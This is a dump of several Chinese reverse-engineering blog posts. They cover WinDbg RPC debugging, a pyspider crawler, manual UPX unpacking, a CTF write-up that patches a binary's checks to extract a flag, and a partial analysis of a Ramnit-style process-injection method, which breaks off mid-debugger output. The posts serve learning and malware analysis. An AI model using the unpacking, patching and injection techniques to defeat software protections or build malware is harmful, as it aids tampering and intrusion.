0000.0001 01 LRPC OLE90278 0000.0001 01 TCP 1120030c 0000.0001 01 LRPC OLE12 For details on the optional parameters, see DbgRpc Command-Line Options.For a similar example using the RPC debugger extensions, see !rpcexts.getendpointinfo. 获取RPC线程信息使用显示!rpcexts.getthreadinfo线程信息,或者DbgRpc的-t开关。必须指定进程pid。也可以指定线程ID,如果忽略,显示进程的所有线程。例子,进程ID 0x278,忽略了线程ID 12345678D:\\wmsg>dbgrpc -t -P 278Searching for thread info ...PID CELL ID ST TID LASTTIME-----------------------------------0278 0000.0002 01 000001a4 00072c090278 0000.0005 03 0000031c 00072bf5For details on the optional parameters, see DbgRpc Command-Line Options.For a similar example using the RPC debugger extensions, see !rpcexts.getthreadinfo. 获取RPC调用信息服务端调用信息通过!rpcexts.getcallinfo显示,DbgRpc的-c开关有4个可选的参数。其中三个CallID,IfStart,ProcNum是用来跟中RPC调用来标记信息的。第四个参数是ProcessID是服务端的Pid。你可以使用你知道的参数值来缩小搜索。如果没有参数指定,系统中所有可知的SCALLs都会显示。例子: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748D:\\wmsg>dbgrpc -cSearching for call info ...PID CELL ID ST PNO IFSTART TIDNUMBER CALLFLAG CALLID LASTTIME CONN/CLN----------------------------------------------------------------------------00c4 0000.0002 00 00f 82273fdc 0000.0007 00000001 00000002 0003595d 0000.001000c4 0000.0006 00 009 367abb81 0000.0015 00000001 0000004d 000185bd 0000.000500c4 0000.000a 00 007 367abb81 0000.002d 00000001 0000009f 00014672 0000.000900c4 0000.000c 00 007 367abb81 0000.002d 00000001 00000083 000122e3 0000.000b00c4 0000.000d 00 03b 8d9f4e40 0000.002d 00000001 000000f7 0001aba5 0000.002000c4 0000.000e 00 03b 8d9f4e40 0000.0026 00000001 00000002 00023056 0000.002100c4 0000.000f 00 008 82273fdc 0000.001e 00000009 baadf00d 000366b4 00ec.03bc00c4 0000.0012 00 00d 8d9f4e40 0000.0004 00000001 00000051 0000a334 0000.001100c4 0000.0014 00 000 367abb81 0000.0015 00000001 0000004c 0002db53 0000.001300c4 0000.0017 00 007 367abb81 0000.0015 00000001 00000006 0000d102 0000.001600c4 0000.0019 00 007 367abb81 0000.0004 00000001 00000006 0000f09e 0000.001800c4 0000.001b 00 009 65a93890 0000.0007 00000001 0000012e 00630f65 0000.001a00c4 0000.001e 00 026 8d9f4e40 0000.0015 00000001 0000037d 0005e579 0000.002c00c4 0000.001f 00 008 82273fdc 0000.0033 00000009 baadf00d 000145b3 00c4.02f800c4 0000.0023 00 000 367abb81 0000.0004 00000001 0000007e 000372f3 0000.002200c4 0000.0025 00 03b 8d9f4e40 0000.0026 00000001 0000000b 000122e3 0000.002400c4 0000.0027 00 000 367abb81 0000.002d 00000001 0000000b 00012e27 0000.002800c4 0000.002a 00 008 82273fdc 0000.0033 00000009 baadf00d 0001245f 022c.029000c4 0000.002f 00 007 367abb81 0000.0026 00000001 0000000a 0002983c 0000.002e00c4 0000.0031 00 004 3ba0ffc0 0000.0026 00000001 00000007 0005c439 0000.001c00c4 0000.0032 00 00b 82273fdc 0000.0039 00000009 baadf00d 00687db6 00d0.01d400c4 0000.0036 00 007 367abb81 0000.0030 00000001 00000065 0003a5e1 0000.003500c4 0000.0037 00 00d 8d9f4e40 0000.0015 00000001 0000033f 000376fa 0000.002b00c4 0000.0038 00 008 8d9f4e40 0000.0015 00000001 00000803 0018485c 0000.003b00c4 0000.003c 00 00b 82273fdc 0000.0034 00000009 baadf00d 0001f956 00a8.024400c4 0000.003d 00 008 82273fdc 0000.0034 00000009 baadf00d 0001ff02 01b8.037c0170 0000.0009 00 002 e60c73e6 0000.0013 00000009 baadf00d 0005a371 00ec.031c0170 0000.000a 00 002 0b0a6584 0000.0002 00000009 baadf00d 000126ae 00c4.01300170 0000.000c 00 002 0b0a6584 0000.0010 00000009 baadf00d 00012bc4 022c.02900170 0000.000d 00 003 00000136 0000.001b 00000009 baadf00d 0005ba71 00ec.03100170 0000.000e 00 000 412f241e 0000.0002 00000009 baadf00d 00012f21 02a8.029c0170 0000.0010 00 003 00000136 0000.0013 00000009 00000003 000341da 0370.00600170 0000.0011 00 006 e60c73e6 0000.001b 00000009 baadf00d 000f1d00 0370.03280170 0000.0017 00 002 0b0a6584 0000.001b 00000009 baadf00d 0006c803 0278.01840170 0000.001a 00 004 00000136 0000.0012 00000001 baadf00d 00038e9b 00ec.034800ec 0000.0006 00 009 00000134 0000.0011 00000009 baadf00d 000b233f 0170.024400ec 0000.000b 00 001 2f5f6520 0000.001c 00000009 baadf00d 00035510 00ec.033400ec 0000.000e 00 001 629b9f66 0000.0014 00000009 baadf00d 00035813 00ec.01c400ec 0000.0012 00 000 629b9f66 0000.0014 00000009 baadf00d 00026cc6 00a8.016400ec 0000.001b 00 001 2f5f6520 0000.0004 00000001 baadf00d 000352c1 00ec.03a802a8 0000.0004 00 009 00000134 0000.0002 00000009 baadf00d 0009a540 0170.02440370 0000.0006 00 003 00000134 0000.0005 0000000b baadf00d 0002e7cd 00ec.03500370 0000.0008 00 009 00000134 0000.0007 0000000b 01cee9e4 000838fa 0170.02440278 0000.0004 02 000 19bb5061 0000.0002 00000001 00000001 00072c09 0000.0003 For details on the optional parameters, see DbgRpc Command-Line Options.For a similar example using the RPC debugger extensions, see !rpcexts.getcallinfo. 获取RPC客户端调用信息使用!rpcexts.getclientcallinfo获取客户端调用信息,或者DbgRpc的-a开关。也有四个参数可选。其中三个CallID,IfStart,ProcNum是用来跟中RPC调用来标记信息的。第四个参数ProcessID是属于这个调用的进程的Pid。你可以使用你知道的参数值来缩小搜索。如果没有参数指定,系统中所有可知的CCALLs都会显示。例子: 12345D:\\wmsg>dbgrpc -aSearching for call info ...PID CELL ID PNO IFSTART TIDNUMBER CALLID LASTTIME PS CLTNUMBER ENDPOINT------------------------------------------------------------------------------0390 0000.0001 0000 19bb5061 0000.0000 00000001 00072bff 07 0000.0002 1120 For details on the optional parameters, see DbgRpc Command-Line Options.For a similar example using the RPC debugger extensions, see !rpcexts.getclientcallinfo. 注意:只有在全部状态信息都收集的时候,才有CCALLS的信息。 常用的RPC调试技术下面将介绍4中常见的RPC问题。RPC状态信息可以用来检查这些问题。DbgRpc和RPC调试扩展命令都可以使用。 分析一个Stuck(卡)调用问题当一个进程直接或间接的进行一次RPC调用时,等待(holding)一个critical section或者资源时通过会出现这个问题。在这种情况下,RPC调用会到另一个进程或者机器,然后派遣到管理接口(服务接口)中,这个会等待很久。这导致调用方会出现等待超时。 当通过调试器检查时,RPC是这个等待线程的最高层,但是不清楚究竟在等待什么。下面是一个这种堆栈的例子,有很多可能性。 1234567891011121314151617180:002> ~1kChildEBP RetAddr0068fba0 77e9e8eb ntdll!ZwWaitForSingleObject+0xb0068fbc8 4efeff73 KERNEL32!WaitForSingleObjectEx+0x5a0068fbe8 4eff0012 RPCRT4!UTIL_WaitForSyncIO+0x210068fc0c 4efe6e2b RPCRT4!UTIL_GetOverlappedResultEx+0x440068fc44 4ef973bf RPCRT4!WS_SyncRecv+0x12a0068fc68 4ef98d5a RPCRT4!OSF_CCONNECTION__TransSendReceive+0xcb0068fce4 4ef9b682 RPCRT4!OSF_CCONNECTION__SendFragment+0x2970068fd38 4ef9a5a8 RPCRT4!OSF_CCALL__SendNextFragment+0x2720068fd88 4ef9a9cb RPCRT4!OSF_CCALL__FastSendReceive+0x1650068fda8 4ef9a7f8 RPCRT4!OSF_CCALL__SendReceiveHelper+0xed0068fdd4 4ef946a7 RPCRT4!OSF_CCALL__SendReceive+0x370068fdf0 4efd56b3 RPCRT4!I_RpcSendReceive+0xc40068fe08 01002850 RPCRT4!NdrSendReceive+0x4f0068ff40 01001f32 rtclnt+0x28500068ffb4 77e92ca8 rtclnt+0x1f320068ffec 00000000 KERNEL32!CreateFileA+0x11b 下面是怎么检查这个问题。Troubleshooting a stuck call problem 1- 保证调试器正在调试有这个stuck cell的进程。(是那个可能在等待RPC的线程所属的进程)2- 或者线程的堆栈指针。堆栈就像上面例子中显示的那样,这个例子的堆栈指针是0x0068FBA03- 获取这个线程的调用信息。通过!rpcexts.rpcreadstack加上堆栈指针作为参数来获取。 12345670:001> !rpcexts.rpcreadstack 68fba0CallID: 1IfStart: 19bb5061ProcNum: 0Protocol Sequence: "ncacn_ip_tcp" (Address: 00692ED8)NetworkAddress: "" (Address: 00692F38)Endpoint: "1120" (Address: 00693988) 显示的这些信息可以让你跟踪这个调用。 4- 网络地址是空的,标明是本地机器。Endpoint是1120。需要确认哪个进程拥有这个endpoint。通过!rpcexts.getendpointinfo加上endpoint作为参数来获取 //应该是客户端 123450:001> !rpcexts.getendpointinfo 1120Searching for endpoint info ...PID CELL ID ST PROTSEQ ENDPOINT--------------------------------------------0278 0000.0001 01 TCP 1120 5- 根据前面的信息,可以看到进程0x278拥有这个endpoint,可以通过!rpcexts.getcallinfo获取到这个call的所有信息,需要加上四个参数CallID, IfStart, and ProcNum(3步骤已经知道)和进程pid 0x278 123450:001> !rpcexts.getcallinfo 1 19bb5061 0 278Searching for call info ...PID CELL ID ST PNO IFSTART TIDNUMBER CALLFLAG CALLID LASTTIME CONN/CLN----------------------------------------------------------------------------0278 0000.0004 02 000 19bb5061 0000.0002 00000001 00000001 00072c09 0000.0003 6- 第5步的信息非常有用,但是有些信息太少了。第二列给出的cell id是0000.0004。如果!rpcexts.getdbgcell加上这个cell id,可以显示更易读的cell信息: 12345678910110:001> !rpcexts.getdbgcell 278 0.4Getting cell info ...CallStatus: DispatchedProcedure Number: 0Interface UUID start (first DWORD only): 19BB5061Call ID: 0x1 (1)Servicing thread identifier: 0x0.2Call Flags: cachedLast update time (in seconds since boot):470.25 (0x1D6.19)Owning connection identifier: 0x0.3 信息显示这个调用已经”dispatched”,表示已经离开了RPC运行时。最后更新时间是470.25,通过!rpcexts.rpctime可以看到现在的时间。 120:001> !rpcexts.rpctimeCurrent time is: 6003, 422 表示这次call的最后联系在5533秒之前了,接近92分钟,因此这个肯定是一个stuck call。 7- 在挂载到服务端进程之前,你可以使用Servicing thread identifier找到当前处理这个call的线程信息。也就是另一个cell number,第6步中的0x0.2,可以像下面一样使用: 1234560:001> !rpcexts.getdbgcell 278 0.2Getting cell info ...ThreadStatus: DispatchedThread ID: 0x1A4 (420)Last update time (in seconds since boot):470.25 (0x1D6.19) 现在你知道你要找的是0x278进程的0x1A4线程。 可能这个线程已经在做其他的RPC调用了,你又必要重复这个过程跟踪这个call。 ##跟踪服务端进程的Contention(争用) 为了能够处理发来的请求,RPC报了一个工作线程集合。理论上这个线程数量很小。然后理想的情况只存在实验室环境下,这些服务管理函数非常小心和谐(。。。)。在真实情况下,线程的数量决定于服务端的工作量,不过不管怎么样都在1-50的范围内。如果工作线程数量超过了50,可能服务端进程有过多的竞争。通过引起这个的是heap的胡乱使用,内存的压力,或者服务端大部分的活动都通过一个单独的临界区。使用!rpcexts.getthreadinfo获取服务进程的线程数量,或者DbgRpc的-t选项。需要指定进程ID,如下面的0xC4 1234567891011D:\\wmsg>dbgrpc -t -P c4Searching for thread info ...PID CELL ID ST TID LASTTIME-----------------------------------00c4 0000.0004 03 0000011c 000f164f00c4 0000.0007 03 00000120 008a629000c4 0000.0015 03 0000018c 008a623600c4 0000.0026 03 00000264 0005c44300c4 0000.002d 03 00000268 000265bb00c4 0000.0030 03 0000026c 000f1d3200c4 0000.0034 03 00000388 007251e9 在这个例子中,只有7个工作线程,是合理的。如果有超过100个线程,就需要加载调试器看看问题了。Note Running queries such as dbgrpc -t remotely is expensive to the server and the network. If you use this query in a script, you should make sure this command is not run too often. 检查Struct的线程RPC需要它的工作线程来完成正常的工作,通常有个问题,在同一个进程中的组件会因为等待一个公共的临界区死锁(比如,loader lock或者heap lock)。这将导致很多线程暂停,很有可能也有RPC工作线程。如果出现了这种情况,RPC服务器不会再给外界响应。RPC调用将返回RPC_S_SERVER_UNAVAILABLE或者RPC_S_SERVER_TOO_BUSY 一个很小的问题可能会硬气有问题的驱动阻止IRPs完成,到达RPC服务器。如果你怀疑可能出现了这个问题,使用DbgRpc –t或者!rpcexts.getthreadinfo需要进程PID作为参数。下面的列子是0xC4: 1234567891011D:\\wmsg>dbgrpc -t -P c4Searching for thread info ...PID CELL ID ST TID LASTTIME-----------------------------------00c4 0000.0004 03 0000011c 000f164f00c4 0000.0007 03 00000120 008a629000c4 0000.0015 03 0000018c 008a623600c4 0000.0026 03 00000264 0005c44300c4 0000.002d 03 00000268 000265bb00c4 0000.0030 03 0000026c 000f1d3200c4 0000.0034 03 00000388 007251e9 TID那一列给出了每个线程的ID。LATSTIME列包含每个线程最近状态改变的时间戳。只要服务器收到一个请求,至少有一个线程会改变状态,时间戳就会更新。因此,一个RPC请求失败了,但是没有任何一个线程的时间戳改变,表示这个请求没有到达RPC运行时中。你需要在研究是什么引起的。 在服务端标明调用者有些时候需要确认谁发送的RPC请求,虽然你只有这次调用的服务线程信息。这个非常有用-比如,找到谁传递了不合法的参数给RPC调用。根据某些特别依赖于协议序列的调用,你可以或者不同程度的细节,而有些协议根本没有这些信息(比如NetBiso) Identifying the caller from the server thread1- 打开用户模式调试器,挂载到目标服务线程中2- 通过|命令获取到进程id 120:001> |0 id: 3d4 name: rtsvr.exe 3- !rpcexts.getcallinfo获取到进程中存在的calls。需要指定进程ID 0x3D4 123450:001> !rpcexts.getcallinfo 0 0 FFFF 3d4Searching for call info ...PID CELL ID ST PNO IFSTART THRDCELL CALLFLAG CALLID LASTTIME CONN/CLN----------------------------------------------------------------------------03d4 0000.0004 02 000 19bb5061 0000.0002 00000001 00000001 00a1aced 0000.0003 查找状态时2或1(dispatched或active)的调用。在这个例子中,只有一个call,如果有更多的,你可以使用!rpcexts.getdbgcell加上cell number(THRDCELL列)来获取线程IDs,从而你可以决定哪个是你感兴趣的调用了 4- 在知道你感兴趣的call之后,看看CONN/CLN所在的cell number,这个是连接对象的cell ID。这里是0000.0003。使用!rpcexts.getdbgcell加上这个id 1234567891011120:001> !rpcexts.getdbgcell 3d4 0.3Getting cell info ...ConnectionConnection flags: ExclusiveAuthentication Level: DefaultAuthentication Service: NoneLast Transmit Fragment Size: 24 (0x6F56D)Endpoint for the connection: 0x0.1Last send time (in seconds since boot):10595.565 (0x2963.235)Last receive time (in seconds since boot):10595.565 (0x2963.235)Getting endpoint info ...Process object for caller is 0xFF9DF5F0 这个命令显示了这个连接的客户端的所有信息。实际的信息会有很多不同,跟使用的transport有关系。在这个例子中,使用的本地命令管道通信,调用者的进程对象地址也显示了。如果你挂载了内核调试器(或者启动一个本地调试器),你可以使用!process看到看看这个地址的信息。如果使用LRPC通信,会显示进程ID和线程ID。如果使用TCP通信,会显示调用者的IP地址。如果使用了远程命名管道,不会显示任何信息。 转载请注明出处,谢谢!","tags":[{"name":"Windbg调试","slug":"Windbg调试","permalink":"https://anhkgg.github.io/tags/Windbg调试/"},{"name":"RPC","slug":"RPC","permalink":"https://anhkgg.github.io/tags/RPC/"},{"name":"远程过程调用","slug":"远程过程调用","permalink":"https://anhkgg.github.io/tags/远程过程调用/"}]},{"title":"linux pyspider learning","date":"2015-01-24T10:54:17.000Z","path":"linux-pyspider-learning/","text":"1. 创建工程运行pyspider,然后浏览器中输入localhost:5000,即可进入project管理,Create创建新的project 2. 编码1234567891011121314151617181920212223242526272829303132from pyspider.libs.base_handler import * import re class Handler(BaseHandler): crawl_config = { } @every(minutes=24 * 60) def on_start(self): for i in range(1, 287): self.crawl('http://xxx?ajax=1&major=73&showMore=0&refer=cindex&page='+str(i)+'&_CSRFToken=', callback=self.index_page) @config(age=10 * 24 * 60 * 60) def index_page(self, response): #print response.json['data'] total = response.json['data']['total'] lists = response.json['data']['lists'] #print total, len(lists) for i in range(0, len(lists)): url = lists[i]['url']; #if re.match("http://xxx?/corp/\\d+/project/\\d+", url): self.crawl(url, callback=self.detail_page) def detail_page(self, response): #信息过滤提取content = response.doc('div.position-content').text() if content == "" or content == None: content = response.doc('div.project-info > div.pro-detail').text() return { "url": response.url, "title": response.doc('title').text(), "content": content } self.crawl(url, callback)抓取网页,callback为响应函数def callback(self, response),response表示内容,可以通过response.doc(‘各类选择器’).text()获取到需要的内容更多response的操作可以查看pyspider response 注意:由于 response.doc是一个pyquery对象,信息过滤中可以使用css选择器pyspider自带css选择器生成,但是貌似不能使用在浏览器中f12,也可以自动生成选择器在生成的选择其中,如<#pagecontent > table:nth-child(3) > tbody > tr:nth-child(2) > td:nth-child(2) > table > tbody > tr > td > div:nth-child(2)>需要去掉其中的tbody标签,否则无法使用,是否还有其他标签,没有过多测试其实css选择器不用从上到下完整的生成,只要能够唯一获取指定的元素即可 3. 调试第一次run,调用on_start,crawl指定的url,然后调用callback函数,界面显示如图 切换到follow窗口,可以看到符合callback函数的url列表 点击列表中右侧播放按钮,crawl该页面,获取符合规则的url,调用下一个callback 然后继续播放按钮,可能就是需要页面内容过滤了,根据自己的需求进行过滤return返回的内容会写入数据库 4. 调试好之后,run然后就可以在results页面看到爬取结果了。","tags":[{"name":"pyspider","slug":"pyspider","permalink":"https://anhkgg.github.io/tags/pyspider/"}]},{"title":"upx3.05手脱笔记","date":"2015-01-07T06:57:42.000Z","path":"upx3-05手脱笔记/","text":"本来一直对upx3.0以后加密壳挺畏惧的,其逻辑看起来挺简单的,有想逆一把的想法,但是都没实施,今天又遇到了,没法,太急,去google了一下,找到几篇资料但是年代都挺久远的,看到[1]中直接esp定律就脱了,有点不信,就试了试,靠,居然可以,只能表示,实践是检验真理的唯一标准。 #1. 查壳[!] UPX 3.05 compressed !查出来是3.05,也不知道是不是误报,比[1]中版本高了点,所以也就是尝试尝试esp定律拖一下 #2. 脱壳OD加载(是个dll,通过load.exe加载),在DllMain断下,看到熟悉的pushad,感觉方法可能靠谱了1234103432E0 > 807C24 08 01 cmp byte ptr ss:[esp+0x8],0x1103432E5 0F85 9D0B0000 jnz xxx.10343E88103432EB 60 pushad103432EC BE 00C02C10 mov esi,xxx.102CC000 f8到103432EC ,在数据窗口显示esp值,然后右键下了个硬件访问断点(其实以前尝试过,但是下的是内存访问断点,失败了,也不知道是不是这个原因,待会儿试试)。接着F9,断在了下面的代码中,看不出啥,就有个 jmp xxx.100C3C71,地址离当前地址还算较远,可能是另一个节12345610343E7B 8D4424 80 lea eax,dword ptr ss:[esp-0x80] //这个就是先前pushad压入的吗??10343E7F 6A 00 push 0x010343E81 39C4 cmp esp,eax10343E83 ^ 75 FA jnz short xxx.10343E7F //循环了多次,F4直接到10343E85 ,应该是在清理堆栈吧?? 10343E85 83EC 80 sub esp,-0x8010343E88 - E9 E4FDD7FF jmp xxx.100C3C71 12100C3C71 /E9 CA371100 jmp xxx.101D7440100C3C76 |E9 15311700 jmp xxx.10236D90 ; jmp 到 kernel32.UnlockFile 单步到jmp,F8跟到其代码中,看到了熟悉的一段入口代码:12345678910111213141516101D7440 8BFF mov edi,edi101D7442 55 push ebp101D7443 8BEC mov ebp,esp101D7445 837D 0C 01 cmp dword ptr ss:[ebp+0xC],0x1101D7449 75 05 jnz short xxx.101D7450101D744B E8 32DFEEFF call xxx.100C5382101D7450 8B45 10 mov eax,dword ptr ss:[ebp+0x10]101D7453 50 push eax101D7454 8B4D 0C mov ecx,dword ptr ss:[ebp+0xC]101D7457 51 push ecx101D7458 8B55 08 mov edx,dword ptr ss:[ebp+0x8]101D745B 52 push edx101D745C E8 1F000000 call xxx.101D7480101D7461 83C4 0C add esp,0xC101D7464 5D pop ebp101D7465 C2 0C00 retn 0xC 通过堆栈参数,进一步确认了下,这是DllMain函数12340006F880 7C92118A 返回到 ntdll.7C92118A0006F884 10000000 xxx.100000000006F888 000000010006F88C 00000000 然后在101D7440地址,尝试dump,成功之后在检测壳信息[CompilerDetect] -> Visual C++ 9.0 (Visual Studio 2008)应该是脱壳成功了,但是iat没有修复,先ida看看是否需要修复 #3. 修复如果需要修复,使用importRec工具找到进程,选择目标dll,然后填入OEP,修复即可 #4. 参考 [1]: http://bbs.pediy.com/showthread.php?t=44125 【原创】手脱 UPX3.0[2]: http://bbs.pediy.com/showthread.php?t=140312 【原创】UPX3.03脱壳机-学习版[代码更新]","tags":[{"name":"upx","slug":"upx","permalink":"https://anhkgg.github.io/tags/upx/"},{"name":"unpack","slug":"unpack","permalink":"https://anhkgg.github.io/tags/unpack/"}]},{"title":"xctf sctf summary, little writeup","date":"2014-12-07T13:02:23.000Z","path":"sctf-summary/","text":"1. Misc10xctf优良传统,百度之手持两把锟斤拷,口中疾呼烫烫烫脚踏千朵屯屯屯,笑看万物锘锘锘其实我没提交,队友提交的,应该是这个 2. Re50听说逆向都挺难的,这里有个简单的,快来秒~~~ :D 逆向题把我们逼疯了,才弄个这个出来,秀优越吗?队友做的,看了一下,很简单12345678k = "Jr3gFud6n"flag = ""for i in range(0, len(k)): a = ord(k[i])-3 flag += chr(a)print flag#应该是这个SCTF{Go0dCra3k} 3. Misc100简单的贪吃蛇,吃到30分它就告诉你flag!但是要怎么控制它呢? 妹的,确定是100的,搞了老半天,还是linux的,upx加壳,首先就乱了好吧,过了不知道多久,回过神来,upx脱壳,ida加载分析,大致弄清楚流程,代码用到了几个关键函数:12move移动光标printw显示字符 然后就是位置比较,成功了30次之后,就会显示出flag,可是代码中没有啊,习惯了可以f5就f5,所以,乱了很久回到汇编窗口,通过printw找到几处打印,提取字符,通过python打印了一下,妹的乱码,有什么编码问题,不懂:12345678flag = [0x7F, 0x1A, 0x64, 0x7F, 0x78, 0x44, 0x5E, 0x50, 0x67, 0x7d, 0x4E, 0x5F, 0x2A, 0x64, 0x6D, 0x52, 0x4C, 0x67, 0x72, 0x64, 0x4C, 0x70, 0x44, 0x7C, 0x5F, 0x2A, 0x48, 0x44, 0x41, 0x1C, 0x61, 0x72, 0x1A, 0x17]def printArr(arr): for i in range(0, len(arr)): s += chr(arr[i]) print sprintArr(flag) 没法子,我也不可能玩30分钟,只好暴力解决了,修改了几个比较,成功进入异常处理(请原谅我,看着真是异常处理),注释中是几次暴力修改位置:123456789101112131415161718192021222324//.text:08049D75 jz loc_8049EA0 if ( v11 && v6 == target_y )//!=text:08049EA6 jnz loc_8049D7B { ++dword_804C3C0; if ( dword_804C3C0 == 5 * dword_804C3C0 / 5 ) ++dword_804C3D8; if ( dword_804C3C0 == 3 * dword_804C3C0 / 3 ) ++dword_804C3D4; if ( dword_804C3C0 == 30 )//!=.text:08049EFD jz loc_8049F94 { if ( dword_804C3D8 == 6 )//!=text:08049F9B jnz loc_8049F03 { if ( dword_804C3D4 == 10 )//!=.text:08049FA8 jnz loc_8049F03 { v16 = __cxa_allocate_exception(); //执行异常中会调用chk(3),显示Mission Complete,然后居然没有调用打印flag, //看到有个.text:0804A039 cmp ds:dword_804C3DC, 3Bh //.text:0804A040 jg short loc_804A051强制跳转到打印flag //会进入f5没解析成功的代码,最后我都没弄清,是出题人故意的,还是ida能力问题,亦或是我的问题 *(_DWORD *)v16 = 0; __cxa_throw(v16, &_typeinfo_for_int, 0, v17); } } } ok,终于打印出来了U0NURntzMWduNGxfMXNfZnVubnk6KX0=,base64解码之后SCTF{s1gn4l_1s_funny:)},做出来还是比较兴奋的 4. 其他其他题目也尝试了很多。re300,算法太绕,晕了,没去弄了,后面提示是三阶魔方,你妹啊,被吓住了,最后也没人做出来re500,又来了个lua虚拟机,额,我再次败退,这次比赛逆向题基本完败,丢人。图片题貌似是两题,用自己知道的各种方式尝试了,无果。web题目,额,我scan了一题,看到了个head attck,然后不会了。pwn题目,好简单,可是,路在何方?求writeup啊。哦,还有两道code的题目,code200在我们努力下,队友提交成功,code400目前还在暴力运算中,明天看看有答案不(求思路,野路子只有暴力破了,也不知道对不)。我想说code500,请问3 3 1是几个意思啊。按我们分析的思路弄出来了,跟我说wrong input!逗我呢啊,要writeup! 最后总结:太急躁,没思路,最后还是能力问题!","tags":[{"name":"ctf","slug":"ctf","permalink":"https://anhkgg.github.io/tags/ctf/"},{"name":"writeup","slug":"writeup","permalink":"https://anhkgg.github.io/tags/writeup/"},{"name":"sctf","slug":"sctf","permalink":"https://anhkgg.github.io/tags/sctf/"}]},{"title":"some thing in c++ reverse","date":"2014-12-05T09:10:20.000Z","path":"some-thing-in-c-reverse/","text":"1. 工具逆向中,在c++类识别中,IDA能够比较好完成一些工作。由于此类经验较少,写上一点自己的总结,不对之处,请指正,或者有更好的经验,请大牛们指导,最好能放点com逆向的经验就更好了。 2. 寻找构造函数在分析mfc程序中,很多时候,对应响应函数的查找比较麻烦。比如,注册验证中,无法定位按钮点击之后的响应函数,无法对获取输出函数下断,无法弹框下断。但是可以对控件类下断,比如窗口初始化中,控件初始化,可以对某些控件类进行下断,如CButton::CButton,那么就可以回溯到窗口的构造函数中了。至于如何获取CButton::CButton地址,那就要结合ida(符号文件)之类的的 3. 虚表在窗口的构造函数中,一般会对对象进行初始化,很重要的一个就是虚表指针的初始化,嘿嘿,那么我们就可以到虚表指针一观了,看到了什么,恩,类脱光了衣服(别想歪了),我们可以很方便找到窗口类的各种相应函数了,详细就多说了,各自体会吧 4. 详细分析既然找到了响应函数,那么后续的就是详细的分析了。 5. 总结这只是自己的一点点小小总结,内容较少,希望对大家有点帮助,还是那句话,请大家多交流,多指导。某对于com逆向真是,,,一个字,,,很晕。","tags":[{"name":"reverse","slug":"reverse","permalink":"https://anhkgg.github.io/tags/reverse/"},{"name":"c++","slug":"c","permalink":"https://anhkgg.github.io/tags/c/"}]},{"title":"inject process analyze 2","date":"2014-11-25T09:45:00.000Z","path":"inject-process-analyze 2/","text":"1. 来源某次卡饭hips浏览中,看到某高大上进程注入方式(主要是某人头发长),惊为天人,技术堪称猥琐之王(抬高了?),额。。。不捧了。前面分析了一种进程注入方法,现在开始分析另外一种貌似更猥琐的方式,貌似说这种技术用在ramnit病毒中,下面这图是大致原理图(引用的)简单测试了下,CreateProcess时,会多次调用ZwWriteVirtualMemroy,本以为是写入PE文件的,结果没有看到,所有有点不明白,钩住ZwWriteVirtualMemroy怎么用,文章中提到的是这样:The hooked Windows native system service redirects the code execution flow to the module defined in the caller process to perform the code injection routine. The injected code in the new process includes the capability for file infection (Windows executable and HTML files), as well as backdoor and downloader functionalities.大意可能是各位写入进程中一些代码,比如backdoor,downloader,但是就是不明白如何执行起来,所以需要找个样本来学习一下,如何利用 2. 样本获取在卡饭中搜索到了几个可能是ramnit的样本,有两个没有解压密码,气死了,其他的都是upx3.0加壳,妹啊,脱不了啊,最后下了个交desktoplayer.exe,以为没壳了,结果弄了半天还是upx3.0.8,最后,直接OD吧,断了几次CreateProcessA,可以看到创建了iexplorer.exe,但是参数貌似不是CREATE_SUSPENDED(后面才想起,这种方式不用),然后就想直接在ZwWriteVirtualMemory下断,od没法了,转到windbg吧,有了下面的分析 3. 分析首先想到就是直接对zwwritevirtualmemory下断,然后回溯到inject代码中,结果居然会崩。。这。。不过还是找到了inject代码123456789101112131415161718192021222324252627282930313233343536370:000> bp ntdll!zwwritevirtualmemory0:000> g(7e8.af4): Break instruction exception - code 80000003 (first chance)eax=00960000 ebx=000009c6 ecx=0012f0b0 edx=7c92e4f4 esi=7c92df90 edi=0012f56ceip=00930005 esp=0012f094 ebp=0012f0b4 iopl=0 nv up ei pl nz na pe cycs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0000020700930005 cc int 30:000> g(7e8.af4): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=ba960002 ebx=000009c6 ecx=0012f0b0 edx=7c92e4f4 esi=7c92df90 edi=0012f56ceip=7c92df96 esp=0012f094 ebp=0012f0b4 iopl=0 nv up ei ng nz na po nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010282ntdll!ZwWriteVirtualMemory+0x6:7c92df96 0003 add byte ptr [ebx],al ds:0023:000009c6=??0:000> kn # ChildEBP RetAddr 00 0012f090 00402a74 ntdll!ZwWriteVirtualMemory+0x6WARNING: Stack unwind information not available. Following frames may be wrong.01 0012f0b4 7c81a636 image00400000+0x2a74//这里既是调用ZwWriteVirtualMemory的代码02 0012f3ac 7c819da8 kernel32!BasePushProcessParameters+0x28103 0012fe0c 7c81d627 kernel32!CreateProcessInternalW+0x184e04 0012fef8 7c802397 kernel32!CreateProcessInternalA+0x29c05 0012ff30 004013c0 kernel32!CreateProcessA+0x2c06 0012ffb4 00402cda image00400000+0x13c007 0012fff0 00000000 image00400000+0x2cda0:000> ub 7c81a636kernel32!BasePushProcessParameters+0x266:7c81a61b 6a00 push 07c81a61d 53 push ebx7c81a61e 56 push esi7c81a61f 8b85ccfdffff mov eax,dword ptr [ebp-234h]7c81a625 ff7048 push dword ptr [eax+48h]7c81a628 ffb580fdffff push dword ptr [ebp-280h]7c81a62e 8b350014807c mov esi,dword ptr [kernel32!_imp__NtWriteVirtualMemory (7c801400)]7c81a634 ffd6 call esi//这里既是调用ZwWriteVirtualMemory的代码 对7c81a634 下断,重新加载程序,g123456789101112131415161718192021220:000> bp 7c81a6340:000> gModLoad: 76300000 7631d000 C:\\WINDOWS\\system32\\IMM32.DLLModLoad: 62c20000 62c29000 C:\\WINDOWS\\system32\\LPK.DLLModLoad: 73fa0000 7400b000 C:\\WINDOWS\\system32\\USP10.dllModLoad: 77180000 77283000 C:\\WINDOWS\\WinSxS\\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\\comctl32.dllModLoad: 5d170000 5d20a000 C:\\WINDOWS\\system32\\comctl32.dll(1ec.1f4): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=00000001 ebx=84493bb9 ecx=7ffdf000 edx=00150608 esi=00150000 edi=84493bb1eip=7c98d811 esp=0012fc38 ebp=0012fc98 iopl=0 nv up ei 